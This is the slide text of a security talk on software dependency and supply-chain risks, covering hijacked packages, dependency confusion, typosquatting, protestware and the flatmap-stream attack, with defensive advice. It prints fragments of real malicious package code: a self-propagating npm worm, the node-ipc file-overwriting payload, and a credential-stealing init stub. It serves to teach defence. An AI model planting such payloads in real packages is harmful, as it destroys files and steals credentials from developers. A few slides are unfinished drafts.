1 of 61

101 Ways Dependencies Can Ruin Your Day

Chris Thompson + Free Wortley

2 of 61

Who are we

Uber and Snapchat logos

3 of 61

So you want to make a website

4 of 61

Hypertext Transfer Protocol -- HTTP/1.1

Status of this Memo

This document specifies an Internet standards track protocol for the

Internet community, and requests discussion and suggestions for

improvements. Please refer to the current edition of the "Internet

Official Protocol Standards" (STD 1) for the standardization state

and status of this protocol. Distribution of this memo is unlimited.

5 of 61

$ npm install express

$ pip install flask

$ gem install rails

$ go get -u github.com/gin-gonic/gin

$ echo '<dependency>...org.springframework...</dependency>' >> pom.xml \

&& mvn install

6 of 61

function isEven(n) {

n = Number(n);

return n === 0 || !!(n && !(n%2));

}

function isOdd(n) {

return isEven(Number(n) + 1);

}

Testing whether a value is odd or even 2011 - stackoverflow

7 of 61

That is OK if n is with certain parameters, but fails for many scenarios.

Testing whether a value is odd or even 2011 - stackoverflow

8 of 61

9 of 61

Problem solved, right?

10 of 61

11 of 61

What did we learn?

12 of 61

You’re finding a Needle in a Haystack

  • Finding everywhere you use log4j is hard�
  • Existing vendor tools failed to detect indirect uses�
  • Most companies resorted to scanning servers manually via SSH

13 of 61

You’re vulnerable…

�…now what?

14 of 61

Upgrading Legacy Code is Hard

  • Java has been used for decades�
  • Nobody knows how to build or deploy app�
  • Breaking changes to APIs�
  • Incompatible dependencies breaking build�

15 of 61

  • Licensing�
  • Hijacked Packages�
  • Dependency Confusion�
  • Protestware�
  • Vulnerability in Dependency�
  • Targeted Attacks�
  • Typosquatting

Other Problems:

16 of 61

Open Source Softwares Licenses

  • Your devs check every dependency’s license, right?�
  • Copyleft licenses (GPL, etc.)�
  • Missing license or conflicting licenses�
  • License changing between releases�

17 of 61

18 of 61

Hijacking Packages - Account Takeover

  • Package maintainer re-uses password, gets pwned�
  • Attacker registers an expired email domain[1]
  • Package manager (NPM) has a vulnerability[2]
  • Malware on maintainer’s computer[3]

19 of 61

Surprise, Malware!

  • Hijacked packages are injected with malicious code�
  • Code runs on package install:
    • npm install
    • python setup.py (often run as root when installing… whoops)�
  • Or when code is run:
    • Run payload when module is loaded
    • Hook some commonly used function

20 of 61

function getModulesOwned(user, cb) {

var url = 'https://www.npmjs.org/~' + user;

// ...

var packages = $('.collaborated-packages a').map(function (i, el) {

return $(this).text();

}).get();

// ...

function addOwner(packageName, newOwner) {

exec('npm owner add ' + newOwner + ' ' + packageName);

}

shrugging-logging - npm

21 of 61

function infectModule (moduleName) {

installModule(moduleName)

.then(() => {

addScript(moduleName);

copyScript(moduleName);

return incrementPatchVersion(moduleName);

})

.then(() => publishInfectedModule(moduleName))

.catch(() => {});

}

sdfjghlkfjdshlkjdhsfg - npm

22 of 61

  • Internal package that is resolved in a public registry[20]�
  • The result of developers/CI having misconfigured environments�

23 of 61

24 of 61

"dependencies": {

"express": "^4.3.0",

"dustjs-helpers": "~1.6.3",

"continuation-local-storage": "^3.1.0",

"pplogger": "^0.2",

"auth-paypal": "^2.0.0",

"wurfl-paypal": "^1.0.0",

"analytics-paypal": "~1.0.0"

}

paypal - github

25 of 61

"dependencies": {

"express": "^4.3.0",

"dustjs-helpers": "~1.6.3",

"continuation-local-storage": "^3.1.0",

"pplogger": "^0.2",

"auth-paypal": "^2.0.0",

"wurfl-paypal": "^1.0.0",

"analytics-paypal": "~1.0.0"

}

paypal - github

26 of 61

paypal - github

npm registry

Paypal registry

"express": "^4.3.0"

27 of 61

paypal - github

npm registry

Paypal registry

"express": "^4.3.0"

28 of 61

paypal - github

npm registry

Paypal registry

"auth-paypal": "^2.0.0"

developer/ci with valid auth

29 of 61

paypal - github

npm registry

Paypal registry

"auth-paypal": "^2.0.0"

developer/ci with invalid auth

30 of 61

paypal - github

npm registry

Paypal registry

"auth-paypal": "^2.0.0"

developer/ci with invalid auth

31 of 61

paypal - github

npm registry

Paypal registry

"auth-paypal": "^2.0.0"

developer/ci with invalid auth

32 of 61

paypal - github

npm registry

Paypal registry

"auth-paypal": "^2.0.0"

developer/ci with invalid auth

Pwned!

33 of 61

Typosquatting

  • Like DNS typosquatting, but for packages
    • google.com -> gooogle.com, gogle.com, gewgle.com�
  • Common package mispells
    • pip install smb <- should be pysmb[9]�
  • Standard library dependencies
    • “import json”[10]�
  • Package install command typo
    • pip install requirements-dev.txt[11]

34 of 61

“requestes” search - sourcegraph

35 of 61

Unpublishing

  • NPM left-pad[7]
    • Npm changed their unpublish policy in response[8]

  • N̷̢̧̬̱͗P̵̺̻̻̄̾̌͝M̷̌̈́͜ ̴̱̺͉͖̕F̸̛͙͒͒̃a̴̰̽̀͂̕k̶̺̱̈́̆̐̕ë̴͔̯̈́͛͜ͅr̵̖̔͑̿͠.̸̭̭̤͗̂̐j̵̻̑s̸͓̀͌̀ ̴̤͋͛́̆/̵͖̟̙͙̇̓̕ ̴̢̧͙͚̆̀̑̽C̴̳̿̎̈́͜ò̷̭̪̿l̶͇̖̟̒͐̈́o̴͈͕̕ṟ̸̽̍́ś̸̤̐.̶̹̱̃̏͠j̵̡̑̎̋̐s̷̞͐̏[6]

36 of 61

Protestware

  • Political activism by authors modifying their projects�
  • Many updates are harmless, printing out a log message�
  • npm package: node-ipc[12]
    • Attempts to geo-locate where the code is being run�
    • If located in Russia or Belarus, then replaces every file with a
    • Many projects affected, most namely Vue.js[14]

37 of 61

if (countryName.includes("russia") || countryName.includes("belarus")) {

getFiles("./");

getFiles("../");

getFiles("../../");

getFiles("/");

}

// ...

fs.writeFile(combinedPath, "❤️", function () {});

node-ipc - npm

38 of 61

Adding a “helpful” feature

  • PR made by trusted, public users…�
    • Includes a covert, malicious package (flatmap-stream)[13]�
    • PR included a non-malicious package, but was later updated to be malicious[14]

39 of 61

flatmap-stream heist - the setup

  1. GitHub user right9ctrl creates a PR resolving a feature request in the widely used package event-stream�
  2. right9ctrl creates the package flatmap-stream and uses it in their PR�
  3. flatmap-stream’s code is published to GitHub, no malicious code

40 of 61

flatmap-stream heist - covert ops

  • flatmap-stream had different code compiled in the release package on NPM�
  • Code was encrypted�
  • Decryption key was the npm package description of bitpay/copay, a Bitcoin wallet

41 of 61

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)?

#116 event-stream - github

42 of 61

If it couldn’t get any worse…

43 of 61

pm2 - npm

44 of 61

A meaningful bottom line

  • Safety in numbers (popular frameworks)
    • React, Vue.js, Express, Pandas, Rails, etc.�
  • Prefer the standard library (when possible)�
  • Think critically before importing 3rd party code�
  • Support the packages you rely on
    • Sponsorship
    • Developer time

45 of 61

Most automation is misleading

  • Too many false positives�
  • Not all security products actually improve security
    • npm audit�
  • Incentives are in the wrong place
    • “Critical vulnerability” = Red alert
    • Red alert = Fear
    • Fear = Sales

46 of 61

Next-Gen Dependency Analysis

  • Surface only meaningful vulnerabilities
    • Is the vulnerable function ever called?
    • Is the vulnerability in a package of a package of a package…�
  • Trivially updated packages are automatically bumped
    • Need reliable CI + testing to avoid outages�
  • Sandboxing dependencies
    • Restrict permissions by default�
  • Inventory dependencies
    • SBOM Executive Order[19]

47 of 61

Thank You!

Twitter: @LunaSecIO

GitHub: github.com/lunasec-io/lunasec

Blog: log4shell.com

48 of 61

References

49 of 61

References

50 of 61

References

51 of 61

Writing an HTTP Parser is hard

  • Good libraries extend the standard library of the language
  • Ocaml had a weak standard library, Jane Street made one, Ocaml is popular now
  • npm’s left-pad package solved a common problem
  • Until generics, you had to code your own “find a needle in a haystack” loop for every type

52 of 61

Why are there so many?

  • Software deliverable timelines based on using dependencies
  • Valuing speed over “correctness”
  • Solution to a problem is a package, not lines of code
    • Complicated/challenging language semantics
    • Common practice, “just install X”
    • Low upfront cost, higher maintenance cost

53 of 61

TODO Free’s story

Maybe have Free tell story about Uber using npm 2 vs 3?

54 of 61

Insert stern sounding security stuff here…

– David Fischer

`requestes` README.md - pypi 2013

55 of 61

Hijacking Packages - Modifying Package

  • Repository
    • Push payload directly to code
    • Modify cached dependencies (ex. binary blob in vendor folder, modify cache for Node PNP package, etc.)
  • Registry
    • Push an “updated” version
    • Push new packages as trusted user (user may have push access to a company’s package scope, ex. @lunasec/…) [4][5]

56 of 61

{

"name": "some-package",

"scripts" : {

"install" : "scripts/install.js",

"postinstall" : "scripts/postinstall.js",

"uninstall" : "scripts/uninstall.js"

}

}

package.json - node

57 of 61

package harmlesspackage

init() {

steal("~/.aws/creds")

}

harmless.go - go

58 of 61

> npm install styled-components@5.3.5

A message from the styled-components core team: If you are seeing this,

your environment is set to Russian locale. By now it is our hope that you

have seen the devastation, horrors, and complete disregard the Russian

military has for Ukrainian civilians...

styled-components - npm

59 of 61

Vulnerability in a Dependency

  • Your logging library can let someone pop a shell on your server [15]
  • The SSL library your web server uses lets anyone on the internet read your process’ memory[16]
  • The library you are using to resize a profile picture can give someone remote code execution to your cluster[17]

60 of 61

Limitations

  • We only have heuristics
    • npms.io health score[21]
    • snyk package score[22]�
  • Does the proxy block the addition of a random transitive dependency?�

61 of 61

npms.io